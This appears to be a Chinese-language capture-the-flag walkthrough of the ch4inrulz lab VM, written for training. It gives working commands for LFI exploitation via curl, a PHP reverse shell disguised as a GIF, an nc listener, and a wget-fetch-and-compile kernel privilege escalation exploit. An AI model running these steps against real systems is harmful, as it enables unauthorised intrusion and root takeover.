當前位置:
首頁 > 新聞 > 靶機滲透測試實戰-hack the ch4inrulz

靶機滲透測試實戰-hack the ch4inrulz

大家好,從本篇文章開始,我將做一個靶機滲透實戰系列,廢話不多說,直奔主題,我們今天的靶機是ch4inrulz,靶機下載地址在這裡(請到原文查看)。

這次靶機實戰的目的是獲取root許可權併入讀flag中的信息。

本次實驗難度適中,沒有緩衝區溢出漏洞,也不需要我們進行exp編寫,但是也能讓我們進行一些思考。

首先說下這個靶機滲透的幾個步驟:

1. 埠掃面和確定IP地址

2. 80埠目錄遍歷

3. 8011埠目錄遍歷

4. 尋找LFI漏洞

5. 發現HTML備份文件

6. 破解密碼hash

7. 登錄開發頁面

8. 上傳偽裝成GIF圖片的PHP shell

9. 繞過檢查,利用LFI漏洞獲取nc shell

10. 提權並獲取flag信息

好了,現在開始搞事情

首先,按照常規套路,使用netdiscover工具進行網路掃描來發現靶機的IP地址。在我這個例子中,IP是192.168.1.103,如圖:

找到IP之後,我們就用nmap來進行埠掃描

可以看到開放了21,22,80,8011埠。既然開了80埠,那我們就用瀏覽器訪問以下,可以看到一個主頁,看起來像是一份簡歷,如圖:

探索一番,沒有發現什麼東西,那我們就進行目錄遍歷,這裡使用kali自帶的dirb工具,如圖:

發現了robots.txt文件,不過也沒有什麼東西。另外一個目錄是/development,這個目錄有點意思,訪問這個目錄,彈框要求進行身份驗證,應該是一個測試頁面。

因為我們現在沒有憑證,所以只能先放著,看看一會兒是否會有收穫。

我們再來看看8011埠,直接訪問主頁也沒什麼東西,好像是一個後端開發部署頁面,如圖:

我們還是用dirb進行目錄遍歷,如圖:

發現了一個/api目錄,憑經驗,這個目錄肯定有線索,直接訪問,得到如下內容:

把這幾個目錄挨個訪問以下,發現只有files_api.php有用,訪問後內得到如下頁面:

意思就是沒有傳遞file參數。這麼一說,很明顯是要我們傳遞file參數,那我們直接在URL後面添加file參數,請求URL如下:

192.168.1.103:8011/api/files_api.php?file=/etc/passwd

結果如圖:

然而並沒有卵用,顯示輸入錯誤,還把IP給記錄下來了。通常情況下,既然get方式傳參不行,那我們試一下post傳參,我們使用curl工具來實現,命令如下:

curl – X POST –d "file=/etc/passwd" http://192.168.1.103:8011/api/files_api.php

可以看到,我們讀取到了/etc/passwd,證明存在LFI本地包含漏洞。

針對這個LFI漏洞,我們嘗試了一些方法,但是都無果。

我們將它保存下來,並且用cat命令讀取內容:

太好了,可以看到存在密碼hash,那還等什麼,趕緊把hash值拷到hash.txt文件中,然後用John the Ripper進行破解:

破解出來是frank:frank!!!

這應該就是/development彈框時的用戶名和密碼了,我們登錄試試:

果不其然,我們登錄進來了,如圖:

頁面信息告訴我們,這個上傳工具只完成了一半,那我們進入這個uploader看看,如圖:

竟然是一個文件上傳頁,這裡對文件上傳類型做了限制,只允許上傳jpg,png和gif,文件大小也做了限制。

看看如何來繞過限制?

我是這麼做的,切換到kali自帶的webshell目錄下,也就是/usr/share/webshells/php,找到php反彈shell的文件php-reverse-shell.php,用編輯器打開該文件,在文件第一行插入gif圖標誌GIF98,並且保存為shell.gif圖片格式,如圖:

這麼做就可以讓uploader驗證機制認為這是一個正常的圖片,而實際上,卻是PHP反彈shell文件。

現在我們便使用uploader將圖片上傳到伺服器,收到如下響應:

信息表明,文件已經成功上傳到我的uploads路徑下。

現在我們把目前收集到的信息小小總結回顧一下:

網站名:Frank』s website

Uploader名:Frank uploader

網站第一條信息:I love patterns

這裡猜測上傳路徑花了一些時間,不過最後還是猜出來了,上傳目錄應該就是frank uploads。但是具體的大小寫並不清楚,所以我們嘗試了很多遍,如Frankupload,frankUploads,franksuploads等等,最後試出來的是FRANKuploads。

這一步筆記枯燥也很費時間,但是也沒有別的辦法能夠直接爆出路徑,現在我們訪問這個路徑來看下:

現在萬事具備,只欠觸發這個偽裝成gif的PHP後門。直接訪問肯定是沒用的,我們還是通過curl這個工具來發起請求:

curl –X POST –d "file=/var/www/development/uploader/FRANKuploads/shell.gif" http://192.168.1.103:8011/api/files_api.php

同時,我們在本機使用nc監聽1234埠(跟反彈shell的PHP文件保持一樣),如圖:

nc -lvp 1234

一旦curl觸發LFI漏洞,向shell.gif發起請求,很快我們就獲得了一個nc會話!如圖所示,我們用id命令來查看用戶信息,並且使用了python命令來進入伺服器的bash shell,

Python –c "import pty;pty.spawn("/bin/bash");"

進入到伺服器的shell後,我們使用uname –a命令來查看下系統內核版本,如上圖可以看出版本是Linux2.6.35,Google一下可以知道這個版本存在漏洞,對應的提權exp是15285.c。

我們在kali中利用searchsploit工具搜索一下這個exp,然後執行下列操作:

searchsploit 15285

cd Desktop

cp /usr/share/exploitdb/exploits/linux/local/15285.c .

python –m SimpleHTTPServer 80

這幾條命令的意思是,搜索15285這個exp,切換到桌面,將exp拷貝到桌面,然後以桌面為網站絕對路徑開啟HTTP服務。

接著,在我們剛剛利用nc獲取到的shell中來下載這個exp,也就是下載到目標機上,編譯exp並執行,得以提權成功,執行的命令如下:

cd tmp

wget http://192.168.1.107/15285.c

gcc 15285.c –o 15285

chmod 777 15285

./15285

執行之後我們便獲得了root許可權,cd到root,便可以看到flag文件,讀取到flag文件內容,如圖:

本次靶機實驗到此結束,各位白帽子們也可以下載靶機玩耍。

喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 嘶吼RoarTalk 的精彩文章:

惡意宏劫持桌面快捷方式傳播後門
不斷演變的廣告軟體——PBot

TAG:嘶吼RoarTalk |